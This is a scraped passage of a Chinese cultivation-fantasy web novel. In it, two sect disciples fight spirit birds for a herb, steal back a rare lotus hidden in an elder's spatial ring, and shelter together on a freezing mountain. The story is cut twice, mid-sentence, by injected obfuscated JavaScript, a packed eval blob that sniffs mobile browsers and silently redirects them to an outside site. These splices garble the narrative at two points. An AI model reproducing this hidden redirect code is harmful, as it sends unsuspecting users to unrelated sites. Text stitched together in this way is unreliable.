“二师叔,我想进去找个草药,可以么?” “可以啊。”沐秋雨在疯狂地发消息,抽空回他一句,“是什么草药?” “佛仙血。” 佛仙血不是血,而是一种长得像佛掌的花,颜色鲜红,像血一样。 陈舒朝挑眉,他们没有事先商量过,不过他临场反应还算不错,这种花算得上珍贵,却也没那么珍贵,又有月华凝露草在前,沐秋雨肯定会同意。而且佛仙血生性不喜热闹,大概率在深处,在里面多待几日也不会引起怀疑。 “可以,你自己进去找吧,小心点,里面的灵兽可能会攻击人。” “好的,多谢长老。” 江砚辞向里走去,待走到沐秋雨看不到的地方,身边忽地降下一层阴影,栀子花香萦绕在鼻尖。 “师姐?” “嗯,我们开始找吧。” 这花园极大,里面没有分割为一片片花圃,各种花草混在一起杂乱地长。 还有各种小兽在草丛里打滚。 它们不怕人,见到他们还会哒哒哒跑过来蹭蹭他们的腿,眼巴巴地望着他们。 陈舒朝蹲下去撸了把它们的毛:“我们没有吃的给你们。” 白白软软的小团子听不懂她说话,一个劲儿地蹭她,陈舒朝把它揪开,站起来。 小白团子知道要不到吃的了,抱着圆滚滚的自己回去,和同伴们叽叽喳喳说着听不懂的话。 陈舒朝笑笑:“这些小家伙在这里待了几十上百年了,可能比你的年龄还大。” 江砚辞收回想摸的手:“……还真看不出来。” 陈舒朝对这里比较熟悉,带着江砚辞朝一个方向走。 沐秋雨把这里管理得很好,所有花草欣欣向荣,小动物们在这里自由地生活,偶尔破坏一两珠珍贵的草药她也不会说什么。 这里已经构成了一个完整的生态。 越往里走,树木越高大,连草都快长得比他们高了。 晴天太阳暖融融地照在他们身上,因为赶时间,他们走得很快,掠过一棵棵花草,旁边各种珍贵草药看都不看一眼。 目标非常明确。 “我们先去找佛仙血。” 他们要去找极上奇莲,必定会路过佛仙血生长的位置,抓紧时间将其踩下,省下的时间去摘极上奇莲。 灵草在长到及腰的位置就停止了生长,约莫行了两个时辰,到达了一处崖壁下。 崖壁陡峭,几乎垂直地面,上面攀附着密密麻麻的红藤,遮挡住岩石本来的颜色。上面开得像手掌一样垂在藤条上的就是佛仙血。 忽听得一声尖利的鸟鸣。 抬首,一只白鸟盘旋于崖上。 白鸟叫作玄灵鸟,尾羽由白渐变为赤红,其天敌极其厌恶佛仙血的气息,一般不会靠近佛仙血的生长区域,所以玄灵鸟多在佛仙血附近筑巢。 并且这种鸟领地意识很强,将佛仙血划为自己的地盘后会驱逐其他灵兽,包括以佛仙血为食的鸢鸟,也包括去摘佛仙血的人类。 玄灵鸟与佛仙血可以说是共生关系了。 陈舒朝颠了颠剑,大多数玄灵鸟并不强,大约不到元婴的修为,这也是沐秋雨放心让江砚辞进来的原因。 她探了探那只鸟的修为,惊奇道:“它的修为达到了元婴中期。” 突破元婴的玄灵鸟已经是少之又少,更别说到达元婴中期了。 不过,还算是好对付。 在他们靠近时,玄灵鸟就已经发现了他们,蓄起攻势猛地向他们冲来! 这里没人,陈舒朝拔出长风剑提剑格挡,鸟喙撞上剑,发出“挣——”的一声。 玄灵鸟被震得脑袋嗡嗡,甩了甩头,转换目标,再度冲下去。 江砚辞朝旁边一闪,躲过这次攻击,拔剑跳上玄灵鸟的背,狠狠刺下去。 剑尖埋入羽毛刺破它的皮肤,只听得它哀嚎一声,旋转着朝上飞去。 陈舒朝瞄准它,看准时机抓住它的羽毛,爬到它的背上。 与江砚辞对视一眼,她点点头,奋力将剑插入玄灵鸟的后颈处。 那里是它的弱点,玄灵鸟哀嚎一声,尖厉的叫声响彻云霄,它仿佛没了力气一般,从万丈高空直接坠落。 风在耳边呼啸。 两人紧紧抓住羽毛,防止掉下去。 在落地的前一瞬,玄灵鸟猛地回飞,因为惯性,两人被甩了出来。 陈舒朝一个后翻身稳住身形,江砚辞滚了一圈也稳住了。 玄灵鸟在他们不远的地方发出一声巨大的鸣叫!鸣叫声刺破苍穹,声波一波一波袭来,连周围的树都在摇晃。 终于要认真了么? 陈舒朝嘴角扬起一个弧度,灵力凝在剑上,浪潮一波接着一波。 江砚辞也严阵以待,剑上缠满了雷电。 无量宗最擅长的便是雷火功法,更别说他之前在惊雷峰吸收了大量雷电。 玄灵鸟黑豆似的眼珠转了下,飞到了更高处,消失不见。 江砚辞手中剑上的雷电还在噼里啪啦:“它去哪了?” “不知道。” 眼见敌不过所以跑了? 不太可能,现在才刚开始,胜负未见分晓,况且玄灵鸟从不会不战而逃,与佛仙血是同生死的关系。 “别管其他的了,先去摘佛仙血。” 陈舒朝飞身靠近崖壁,江砚辞收了剑,也跟上去。 陈舒朝直觉事情没那么简单,在走过去时一直留意着四周,在将要靠近时,忽地一阵狂风袭来。 她回首,就见崖上出现了三只鸟。 一只是玄灵鸟的天敌,黑羽鸟;一只是以佛仙血为食的鸢鸟。 这三只竟然能凑到一起去,不愧是沐秋雨。 沐秋雨修为平平,能当上二长老是有原因的,她对灵植以及灵兽有天然的亲和力,在某种程度上可以打破原来的生态,达成意想不到的效果。 就比如现在。 三只元婴中期的鸟。 “小心,打不过就撤,别硬抗。” 命更重要。 江砚辞点点头。 黑羽鸟率先冲下来,在离他们不远处停下来,双羽扇动,风刃朝他们袭来。 陈舒朝脚尖点地,快速躲开,风刃追着他们,同时,玄灵鸟鸣叫,减慢了他们的速度,鸢鸟则是直直冲着他们而来。 三只鸟配合默契,明显是经人训练的,目的是赶走试图摘佛仙血的闯入者。 可对沐秋雨来说,今日来的只有元婴初阶的江砚辞一人,对上三只元婴中阶的妖兽如何有胜算?还是说她信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928606|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任江砚辞可以在这三只的进攻下摘得佛仙血? 陈舒朝在想,如果是沐秋雨训练的,为何会不提醒江砚辞? 江砚辞现在可以说是整个宗门的宝贝疙瘩,去个妖界丰文山还千叮咛万嘱咐的,怎么到这里就这么粗心了。 她想到了一个可能。 ——不是沐秋雨将它们组合起来的,而是他们自发地组合起来的。 三只攻击一波接着一波,很快两人身上都带了多多少少的伤。他们甚至还没有接近过它们,又有一波攻击而来,陈舒朝抿唇,拿出十二分的精神来。 这里除了那一处崖壁,其他地方一马平川,没有任何遮挡物,对他们来说极其不利。 崖壁……或许可以利用一下。 陈舒朝给了江砚辞一个眼神,随后躲过攻击到达了崖壁。 佛仙血的采摘需要非常小心,她没选择趁这个时间摘,而是不断往上,飞檐走壁,因为怕伤到佛仙血,三只鸟的攻击都收敛了些许,但还是令人难以招架。 在与玄灵鸟差不多齐平,比它再高些的位置上,陈舒朝借崖壁的力道起跳。 她用上了灵力,速度非常之快,等玄灵鸟反应过来时已经来不及了,陈舒朝跳到了它的背上。 人类的身形相比于灵鸟来说太过渺小,其他两只鸟怕伤到玄灵鸟,不敢轻举妄动,于是将目标放在了江砚辞身上。 江砚辞本就躲得吃力,这样一来更是避无可避,风刃割破他的手臂,鲜血洒在地面。 他剧烈地呼吸着,躲过一道道攻击。 陈舒朝抓紧时间,长风剑起,灵力灌入,顺着之前割破的后劲刺入! 玄灵鸟尖啸一声,没了声息,在坠落之前,她借着玄灵鸟的后背跳上黑羽鸟。 玄灵鸟坠在地上发出“砰”的一声,动了两下再没声息。 亲眼见到这样的场景,黑羽鸟明白这个女人有多强的实力,它上上下下左左右右努力想将她甩下去。 有了上次被甩下去的经验,这次她抓得死紧,任它怎么甩都甩不掉。 江砚辞霎时轻松了许多。 在鸢鸟再一次俯冲而来时跳上它的背,用力将剑扎下去! 鸢鸟相比其他两只鸟弱了许多,这一剑扎中要害,当即没了声音。 他跳下鸟背,刚巧师姐也从鸟背上下来。 三只鸟整整齐齐躺在地上,陈舒朝长出一口气,忽然感应到什么,对江砚辞道:“你先去摘佛仙血,摘完去灵气最浓的地方找我,我要突破了。” 刚打了一场酣畅淋漓的大战,本就快要突破的壁垒摇摇欲坠。 江砚辞点头:“好。” 不过他没急着去摘佛仙血,而是目送师姐离开。 等她完全消失在自己的视线,才收回目光,再次确认了方向后,飞身去摘佛仙血。 陈舒朝走过一片片不同的花田,在一个灵气稍微浓郁点的地方盘腿坐下。 她这个突破,准确来说不叫突破,而是恢复。 所以没有雷劫,只是恢复到元婴后期的修为,速度也比正常突破要快。 她阖上眼,只留一丝注意力留意外界,其余的专注于自己的丹田。 这里聚集了有一片湖那么大的灵力,而现在,湖水正在以肉眼可见的速度越积越多越积越多。 元婴后期与元婴中期的灵气储量,几乎是差了一倍。 这里灵气充裕无人打扰,可以说是比惊雷峰好了不知道多少倍的突破地。 也算是因祸得福。 江砚辞找过来时,她还有一小半的灵气待吸收。 她能感受到,少年就那么一声不吭地坐着,眼睛专注地看着她。 他说过喜欢她。 陈舒朝见过世间很多对相互喜欢的男男女女,也见过许多单相思。 单相思大约都是这种,默默付出,苦苦盼着对方能看他一眼。 倒是委屈他了。 不过感情的事,强求不来,于她而言,他还是个孩子,他们之间相差的东西有太多。 不只是年龄。 又过了几个时辰,陈舒朝睁开了眼。 到达元婴后期,她心情还不错,在阳光下扬起一个笑脸:“好了,我们走吧。” 41. 极上奇莲(二) 这已经是进来的第五日了,按理来说早该出去了,但出现了三只鸟联合的意外,如此一来,就算是有人问起也有了合理的解释。 极上奇莲的珍惜程度在整个花园里可以排上前几,肯定也有镇守的灵兽,在快要接近中心时,她放慢了脚步。 “小心。” 江砚辞依言注意四周。 苍天的树木,及腰的草丛,这里地势平坦一览无余,除了风吹动草叶的沙沙声再无其他。 也没有其他任何气息。 她大着胆子再往前靠。 极上奇莲生长在湖中,单生且领地意识极强,方圆十里不会再有任何生物。据她所知,这里有一大片湖水,只它单单生在湖中央。 可是她已经走到了湖边,却什么都没看到。 “……师姐?” 陈舒朝猛地明白过来,迅速转身:“快走,追上沐秋雨!” 她知道沐秋雨为何会出现在那里了。 “她运走了极上奇莲。”既然能和林野鹤取得联系,那他应当告诉了他们她需要什么,为了防止意外发生,他们很可能会把这些运走。 要取得剩下的东西就比之前要难很多了。 江砚辞怔愣一瞬,快速跟上,听师姐继续道:“极上奇莲必须生长在水中,且方圆十里无任何生物。除了沐秋雨的这个花园,就只有一处地方可以有这么大的地方了。” “哪里?”刚开口问完,江砚辞就明白了。 “——是空间?” 陈舒朝带着江砚辞快速往回走:“对,空间只有化神修士可以自由出入,方才沐秋雨应当是在教授那人照顾极上奇莲的方法。” 极上奇莲的养护极其麻烦,也怪不得她拿着玉简那么暴躁了。 江砚辞:“五日过去,佛仙血应该早已搬完了。” “我们还有一条线索,只有化神及以上可以用空间。” 江砚辞:“所有长老最高也不过元婴大圆满,只有大长老前段时日刚突破到了化神。” “空间可随身携带,如此重要的东西,他一定会随身带着。” “不。”陈舒朝道,“丰文山太蠢了,并且他知道自己很蠢,随身带着说不定有一日连自己都找不到了。所以他会把重要的东西放在一个统一的地方。” 江砚辞:“师姐知道是哪里?” 陈舒朝:“嗯,是我无意中看到的,他们不知道我知道,应当不会对此设防。” 说话间,他们到了入口处。 陈舒朝在出来的一瞬间重新变小变透明,趴在江砚辞的肩头,对他传音道:“你知道丰文山住哪么?” 她所知道也是丰文山几十年前的洞府,不知道换没换过。 江砚辞低头看看自己的肩头,其实他也看不到师姐,但是声音都是从这里传来的,可以根据声音判断师姐具体在哪里。 “知道,他的洞府一直没搬。” 丰文山的洞府就是最靠近主峰的侧峰,叫寻山,很好认。 整个山峰光秃秃的,是她之前修炼时不小心烧的。 有法术可以让树长回来,他却说挺有趣的,就没管。 如今再看,陈舒朝还颇有种被翻黑历史的感觉。 峰内很安静,方辰时,丰文山还在演武场授课,他喜静,平日里洞府内也没什么人。 陈舒朝望去,光秃秃的山上立着一座院子,院内无人。 江砚辞走进去,刚到院子里,就听到一声:“站住。” 竟然有人—— 江砚辞站定,侧头,见到一人一袭白衣,在院子里下棋品茶。 方才的无人是障眼法? 丰文山落下一颗白子:“你不常来找我,这次是为何?” 他所站的位置已经离房门很近了,对方修为已达化神,陈舒朝没有贸然传音,悄悄从门缝飘了进去。 进去后她也没有现出身形,大致扫了一眼室内布局,飘进床底,果见有一条密道。 密道昏暗,待到了底下,她才现出身形,长出了一口气。 这个地下室并不算是多大的秘密,稍微熟悉点的人都知道,但正是这样,更大的秘密才会被掩盖。 江砚辞还在外面,虽然她经常说丰文山蠢,但到了这个地步,他也该发现了。 得赶快了。 地下室放的是各种修炼秘籍,她一排排走过去,在第三排中央扭动了花瓶。 “轰隆隆——” 最后一排书架被机关缓缓向右移开。 ——快点、再快点。 陈舒朝无声地催促。 机关启动的声音不小,若是被丰文山注意到就糟了。 她是带着很大的赌的成分。 时间仿佛被无限拉长,一点一点过去,门被完全打开。 陈舒朝一边注意着上面的动静,一边却并不急着进去。 她并指,按着记忆掐诀,一道无形的屏障发出水一样的波纹,随后消失不见。 走进去,里面放着的是各种各样的禁术禁品,在最最中央,是一个黑色的小匣子,她伸手一挥,带着灵力的风抚过黑匣,只听得“咔哒”一声,匣子打开。 黑面静静躺着一只空间戒指。 * 江砚辞感到肩膀一松,他下意识要望去,又生生止住。 丰文山抿一口茶水,等着他回答。 江砚辞忽地福至心灵,道:“我有个功法不太理解,想来问问师叔。” 他们平日里接触不多,仅有的接触便是像现在这样问一些问题。 丰文山不多说:“拿来看看。” 还好他平日储物袋里装的东西够多。 他拿出一本蓝色封皮的书,翻开其中一页递给他。 丰文山扫了两眼:“这是元婴中期才能修炼的书,你现在修有些过于早了。” 江砚辞笑笑:“没打算修炼,是为了突破做准备。” 他没说信不信,认真看了起来,半晌吐出一句令江砚辞定在原地的话:“前些日子,妖界易主了。” 江砚辞垂在身侧的手一颤,面上仍是镇定道:“我听说了。” 丰文山:“据说是有神人相助,神人助上届妖皇的遗嗣夺回皇位,索要的报酬却只是月华凝露草。” “你说,这是为何呢?” 江砚辞:“许是为了完成某项任务。” “任务只需要一株,发布任务的人也只拿到了一株,可我得到的消息是那人拿了两珠。” 江砚辞试探道:“那是妖族吧,与我们有何关系?” 妖族和人族的关系说不上不好,也说不上好,两族互不干涉,各自安好。 只是有了二长老的那件事,妖族对人族极其厌恶,甚至不允许妖界内 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见到师姐后他才明白,有的人就如明月皎皎,柔和耀眼的光芒是谁都无法超越的,即便入了魔也无法忽视。 师姐才是修真界的希望,他还差得很远。 “倒也不必自谦,你确实称得上一句天骄。” 江砚辞没接话,对方又道:“你说你摘了佛仙血?可以让我看看么?” 江砚辞手腕翻转,一株完整的佛仙血静静躺在手中。 “这佛仙血不好摘吧,居然这么完整,不错。” 江砚辞心跳一滞,却见他什么反应也无,扫了两眼便收回目光。 摸不准他到底看没看出来,他坐在一旁,手指紧了紧茶盏。 丰文山注意到他的动作,见他茶还是满满一杯:“不好喝么?” “我不喜茶。” “总要习惯的。”丰文山对他举举茶杯,一口喝完,“你师姐倒是个百无禁忌的性子,谁也磨不动她干她不喜欢的事。” 江砚辞就是喜欢师姐这种性子,他向往着、也自然亲近与仰慕这类人。 “若她没有……我想你们也是一对很亲密的师姐弟,你会喜欢她的,没人不喜欢她。”他隐去了一些彼此都知道的内容。 “当年……师姐到底为什么会被封印在惊雷峰下?” 他装出仅仅是好奇的样子,不怎么抱希望地问,不曾想对方犹豫了下,将自己所知和盘托出。 “说实话,没人相信她会入魔。” 话题有些沉重,他又给自己倒了杯茶:“那日我们本在等待她的凯旋归来,全宗上下空前热闹,甚至所有峰都不约而同停课,其他宗的长老也来了。” “这些想必你都知道。” 他的确都知道,之前也是那些等待中的一员,可等来的却不是胜利的消息,而是英雄入魔,自愿囚于惊雷峰下。 “惊雷峰在许多年前就是禁地,原因无他,因为那里藏着开山之祖所设下的法阵——九转封魔阵。” 能被封在这个阵中的,必定是魔,所以即便大家再不想相信,也必须相信了,摆在他们面前的是不可否认的事实。 “——对你们这些小辈是这样说的。” 江砚辞抬眼:“还有其他说辞?” 42. 极上奇莲(三) “也不算是其他说辞,只不过我们知道的比你们多了一点而已。” “当时宗主回来并没有急着闭关,而是给我们这些长老开了个会。其实在很久之前宗内就出现了各种伤亡事件,尸体干瘪发黑,周围有丝丝缕缕的黑气萦绕。” ——这是魔气入体的迹象,他们是被魔气杀死的。 “伤的都是些普通小弟子甚至凡人,宗主一直在隐瞒此事避免发生恐慌,一边分出力去保护他们,一边寻找凶手。” “线索出现在她回来的前几日。” “她回来的其实比我们所收到的消息要早,她一直在偷偷拔除魔气,据她所说,是在与魔尊的交战中染上的。” 江砚辞:“宗主没信?” “没信,因为她身上的魔气与那些惨死的人身上所出同源。近乎是钉死了凶手。” 这是最直接的证据。 但也正是这,说明其中有更多的猫腻,明显是栽赃陷害,除了魔气没有其他一点证据。 下一瞬,就听他继续道:“我们也没想到她居然是这样的人。” 江砚辞脑子懵了一瞬。 他怀疑自己听错了。 “什么?” 丰文山苦口婆心:“我知道她带你回来、引你入道,对她有点感情是在所难免的,但这都几十年过去了,况且你们统共都没见过几次面,她就是这样一个人,我们也没办法。” 简直不可思议。 江砚辞明白师姐为什么说他蠢了,果真是蠢。 他看出来了,这人是真心实意地这样认为的。 其他人未必没有察觉真相,只是考虑清楚了自己的立场。 江砚辞能走到这个位置,见过很多不可明说的事情,这点事情很快就能想清。 只是没想到原来是这样。 “师叔,”江砚辞目光放在丰文山的身后,“怪不得师姐说你蠢,你的确挺蠢的。” 不管是真蠢假蠢。 “你……!”丰文山一下被点炸,排山倒海般的威压释放出来。 还未碰到衣角,一股强力的吸力将两人吸了进去,意识消失之前,有人紧紧抓住了江砚辞的手,清甜的茉莉香裹住了他。 再醒来,是在一个山洞中,师姐就在他旁边。 “醒了?” 他喉间干渴,还未说上一句话,就被师姐拉着走出去。 “醒了就快走,极上奇莲只能生活在水里,去有水的地方。” 她在拿到戒指后以最快的速度跑上去,还未踏出门槛就有浓郁的威压倾倒下来,她毫不犹豫拿出戒指将所有人都吸了进来。 小空间里与外界时间流速不同,相当于一个独立的小世界,有山有水也有灵力,她提前拉住了江砚辞才没有走散,还不知道丰文山在哪。 总之,得赶快找到极上奇莲。 密林周围的树都长得一样,因是虚幻的,灵气浓度也相同,无法靠这个分辨方向。 陈舒朝走到洞口脚步顿了一下,抬眸扫了一眼,朝一个方向走去,走动间,铃铛声响起。 在小空间里,修为会被压制,修为越高,被压制得越狠,在这里面他们几乎都是凡人,只能靠体术行动,而在这一方面,她有自信能打得过丰文山。 更何况,如今戒指也在她手中。 江砚辞被拉着跑,整个人跌跌撞撞,跑出一段距离才勉强跟上步子。 再抬眸去看,他们前往的是一座山,看样子,是这一片最高的山。 要爬上去,不知要几个时辰,也可能长达几天。 “这个法子会不会太慢,若丰文山提前找到极上奇莲……” “提前找到又如何?”陈舒朝打断他,“首先,他不敢毁坏极上奇莲,不仅仅是因为沐秋雨,还因为这是世间最后一朵;其次,在这个空间内他也得老老实实找湖。除非他被传送到湖附近。” 而这种概率微乎其微。 为了更加真实,密林里也会有许多灵兽,修为都不高,但对现在的他们来说,遇上必定会是一场苦战。 也因此,他们宁愿绕远路也不愿与灵兽撞上,特别是一些领地意识极强的。 俗话说,望山跑死马。 直到夜幕,山还是那个大小。 本就是空间内,自然不能再用空间类的法器,比如储物袋。 他们只能被天席地。 夜深了,天渐渐变凉,两人去捡了些柴火来烧。 火光映照在脸上,将两人的脸照得红彤彤。 江砚辞一边添柴,一边忍不住偷偷去看师姐。 她穿的蓝裙外加一件白色披风,头上未带朱钗,泼墨的长发倾泻而下,看着前方的眼眸熠熠有神。 他悄悄摸摸往师姐那边靠了靠,嘴上道:“有点冷。” 下一瞬,一件披风落在他身上。 很厚重,措不及防下他差点一头栽下。 陈舒朝终于脱掉了这件厚重的披风,长出一口气。 她当然看得出来他的小心思,小孩子一样,明显得不能再明显,她也正好借此将披风丢给他。 原本穿着正合适,生了火后就有点热了。 江砚辞接到披风后,忙手忙脚把披风还回去:“我、其实也不是很冷。” 陈舒朝扒拉一下火:“拿着吧,我热。” “哦,好。” 江砚辞起初不太敢披,看师姐好像没什么反应才极小动静地把披风披上去。 很暖和,若说原来是微冷的暖,现在就是全然的暖意。 被师姐的披风包裹,他面上不自觉浮上绯色,鼻间是满满的栀子花香。 视线望去,他做的香囊正静静地坠在师姐的腰间。 漫天星辰,夜色明媚。 江砚辞弯眸笑了笑。 想起自己耳朵上的长流苏耳坠,他上手摸了摸,珠子触感温润,他手热,摸上去微凉。 江砚辞的动作被陈舒朝看在眼里,她之前还拿耳坠威胁他,这是觉得不自在了么? 也对,谁身上戴个会随时要自己命的东西也不会自在。 现在他们两个已经是一条绳上的蚂蚱了,没必要用这个。 陈舒朝:“耳坠不喜欢就摘掉吧。” 江砚辞手一顿,缓缓放下手,嘟囔:“没说不喜欢。” “哦。”陈舒朝应一声,靠在树干上,阖上了眸子。 走了一天,累了。 柴火噼里啪啦地烧着,时不时飘出来些火星子,江砚辞看着火,偶尔添柴,保证火不灭。 渐渐地,有些困了,头一点一点的,眼皮也垂着睁不开眼。 他凭着最后一丝意志,把披风当做被子披在了师姐身上。 夜里柴火会灭,冷。 然后靠在旁边的树上睡去。 他穿得也单薄,好在耐冻,睡一晚上起来也只是头有点晕,额头不是很热。 白日的温度因为太阳有了些许回升,刺眼的阳光照在陈舒朝身上,她睫毛微颤,睁开了眼。 抬手遮了遮太阳,才发现披风在自己身上。侧头去看,见江砚辞正被冻得揣手,捡柴火想重新生火。 她不禁觉得好笑,同时心尖一暖。 白日的天是有点热的,她把披风拿下,靠近他盖在他身上。 江砚辞本来在认认真真生火,倏然一惊,有一抹凉意拂上他的脸颊,随即背部感受到了一点点压力。 陈舒朝也被吓了一跳,修士鲜少生病,可不代表没有常识,这么烫,明显是发热了。 “怎么这么热?” 江砚辞依言摸摸自己额头:“还好,不是很热。” 可能因为生病,他的表情看起来恹恹的,声音也有气无力,还有点哑。 他自己没意识到,陈舒朝意识到了:“口渴么?” 江砚辞仔细感受了下:“还好。” 并没有很难受。 这前不着村后不着店的,没有水给他喝。 这里夜间凉,白天热,陈舒朝四处看了看,拿出帕子:“你等着。” 江砚辞点点头,垂眸继续生火。 半刻后,噌地冒出了火苗,火光映在他有些病容的脸上。 没过一会儿,陈舒朝回来了,拿着两张帕子,只是走时是干的,现在沾满了水,湿漉漉的。 她是去沾了草叶上的露水。 清晨的露水干净清爽,润喉是极好的,江砚辞接过,扬起脑袋。 修长的手指将帕子捏紧,水滴流入他的口中,喉结滚动,被他咽下。 久旱逢甘露,江砚辞的嗓子好受许多了:“多谢,这帕子……” 有点奇怪,感觉无论是自己拿着,还是对方拿着都有点奇怪,若扔掉,现在物资贫乏,太过浪费。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962164|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你拿着吧。”陈舒朝不太在意,“若渴了就自己再去弄点水,我身上还有帕子。” “好。”江砚辞敛下眉,将帕子叠整齐收好。 如今这情况也不用赶时间,空间内外时间流速不同,在里面待上一两个月,外面可能才过了一刻钟。 陈舒朝坐在他旁边,离火堆稍远一点的地方,离得近了实在是有些热。 江砚辞待了一会儿,脑袋清醒了些,将火灭掉:“师姐,我们走吧。” “嗯。” 陈舒朝起身,两人继续往山上走。 两日后,终于到了山下。 陈舒朝仰头去看,山不仅高还陡峭,因为之前没人走过,也没有路。 他们上去之后还得下来,这至少得半个月。 “爬吧。” 也没其他办法,反正耗得起。 起初是比较平坦的山路,还算是好走,到了夜间,刚巧碰到一个空的山洞,两人进去睡觉。 上了山,气温更加低,没火肯定睡不了,就算能睡第二日起来也必定是比较严重的头疼脑热,于是两人决定轮流守夜看火。 火烧得比之前更旺,噼里啪啦声响不断,伴有洞外的虫鸣。 陈舒朝让江砚辞先睡,自己披着衣服坐在了洞口。 这里能看到很多星星,众多星星汇聚组成了一条银色的河,映在陈舒朝眼底。 还有萤火虫在草丛间绕来绕去。 她托腮看了片刻,感受到身后的火光减弱,于是又拿了些柴火添上去。 到后半夜,换江砚辞守夜。 陈舒朝已是疲惫至极,躺下没过多久就呼吸平稳,睡了过去。 江砚辞坐在她对面,透过火光看她。 现在的处境不是很紧迫,也绝对说不上安稳。 但是在这个小小的山洞里,他奇异地感到了平静。 好想就这样下去,天天和师姐待在一起,做同一条绳上的蚂蚱。 可是他知道,师姐有鸿鹄志,不甘泯于众人,他也更希望看到师姐重新站到人前。 半晌,他意识到这样不太好,撇开了视线。 第二日继续上山。 一天时间爬到了半山腰,这里已经有雪了。还不算太冷,薄薄的一层雪,约莫半指厚。 这个晚上他们没找到休息的地方,日夜兼程,傍晚,雪已经到了小腿,一脚踩下去软绵绵的很不舒服。 陈舒朝看他越走越快,开口提醒:“小心些,有些雪下面可能是空的。” 江砚辞往前的步子一顿,小心翼翼地迈出下一步,踩实之后松了一口气,继续下一步。 没走几步,师姐就超过了他,走在前面,一步一步比他快多了。 江砚辞疑惑:“师姐怎么看出哪些是安全区域的?” 陈舒朝回头,眨眨眼:“秘密。” 要判断这个,需要一定的知识储备、以及经验,解释起来太过麻烦,且最主要看的还是经验,所以她没有多说:“你就按着我的脚印走。” 两人一前一后,如同白纸上不小心滴上的两点墨水。 不知走了多久,忽地一阵大风刮来,呼啸着带起表层的碎雪,呼啦啦刮了两人一脸。 雪花顺着袖口、衣领钻进衣服里,贴近身体,冰得人一个机灵。 陈舒朝拢了拢衣裳,确保雪花没有地方可进,一抬眼,眼眸亮了亮:“前面有洞穴。” 在冰天雪地中行了几日,两人眼下都有不小的乌黑,步子也越来越沉重。 虽不至于死在这里,可实在难熬。听到这话,江砚辞抬了抬眼睫,看到不远处的壁上,有一个黑黝黝的洞穴。 感受不到一丝灵力,应当没有其他灵兽盘踞在此地。 洞穴在稍高一点的地方,约莫一人多高,里面应当存不住雪。 寒风凛冽,两人没有商量,默契地,江砚辞稍微蹲下一点,陈舒朝踩在他肩膀上,进去后将他拉上来。 这里面是干燥的,只是外面冰天雪地,一颗植物也没有,没法生火。 江砚辞站稳,对方忽然靠近,栀子花香在寒冷的气息中显得更加清冽。 他呼吸一滞。 紧接着,肩膀被拍了拍,他身体僵住,等师姐离开才反应过来,她是在帮他清理肩膀上的雪。 那上面的雪是她踩上去时,鞋底蹭上去的雪。 43. 极上奇莲(四) “多谢。” 肩上触感仍在,他喉结滚了滚,喉间干涩。这两个字能明显听出沙哑。 陈舒朝只当他是久未说话,没太在意,找个地方坐下,环臂抱紧自己:“谢什么,本来就是我弄脏的。” 江砚辞苦笑,在离师姐大约一尺远的地方坐下。 修仙者即便没了修为,身体素质也比普通凡人要好上许多,他们穿的单薄,被冻得瑟瑟发抖,甚至不能正常行走,也不会死。 陈舒朝眼望前方,拿出被冻得通红的手,不住地朝掌心哈气,雾气弥漫在眼前,她盯着雾气,在弥散前再次呼出一口气。 在高山上,需要承受的不仅是低温,还有空气稀薄,以及天地之气不足带来的难受。 头晕恶心,还有胸口发闷。 他们还要再往上走,也幸好,这里距离山顶不远了,明日傍晚就可以到达。 陈舒朝头晕乎乎的,半刻钟过去,裤腿上沾染的雪已经因为体温融化,湿哒哒沾在衣裳上,冷风一吹,刺骨的冷。 好像快要结冰了。 不对。 气温在降,再降下去,这一睡恐怕就再也不能醒来了。 她头一点一点的,马上就要摔倒时猛然惊醒。 不行,不能睡。 陈舒朝直起头,看到江砚辞的眼睛已经半睁不睁。 马上就要睡着了。 她想起身,脚却被冻得动不了。 只得倾身,趴在江砚辞耳边喊:“师弟,醒醒。” 因为冷,她声音发着颤,说话时,有白色的雾气扑在江砚辞脸侧。 江砚辞眼睫颤了颤,听到声音,眼眸渐渐变得清晰,他清醒了过来,僵直的身体有了些许知觉:“……师姐?” “气温降得太快了,别睡了,我们赶快继续上路,若实在不能继续前进,就下山吧。” 下山后随便找个方向走,碰运气说不定也能找到,总之比待在这里不动要好,说不定真的会死。 江砚辞被冻僵的脑袋缓缓转动,很快想明白其中关窍。 没到山顶就已经难走到这种程度,且不能休息,一旦休息就可能面临再也醒不过来的困境,他们已经熬了几天,再这么下去,还真不一定有力气下山。 覆水难收,若不是师姐提醒,他可能就抓住那一点失去的水,搭上更多的水。 他点点头。 想站起来,结果腿脚僵硬,不听使唤,刚站起来一点就跌坐下去。 “等,等一下。”扭头去看,师姐嘴角还噙着一抹笑看他。 陈舒朝刚站起来,听到声音扭头。 江砚辞的耳根微红:“我腿被冻僵了。” “我也是。”陈舒朝笑笑,爽快承认,缓解了江砚辞的尴尬。 她复又坐下,凑近了。 冷香萦绕在周围,柔软的披风被解开,搭在两人身上。 江砚辞微怔了几息,默默将自己抱紧。 披风下的小空间,两人紧紧挨着,小动物般彼此传递着温度。 江砚辞整个人都很紧张,肌肉紧绷,心跳加剧,脸上漫过薄红。 身体渐渐升温。 陈舒朝略微有些惊奇,身侧的温度不断升高,甚至有些烫手。 她手摸上他手臂:“怎么……?” 江砚辞别过脸,手臂轻轻动了动。 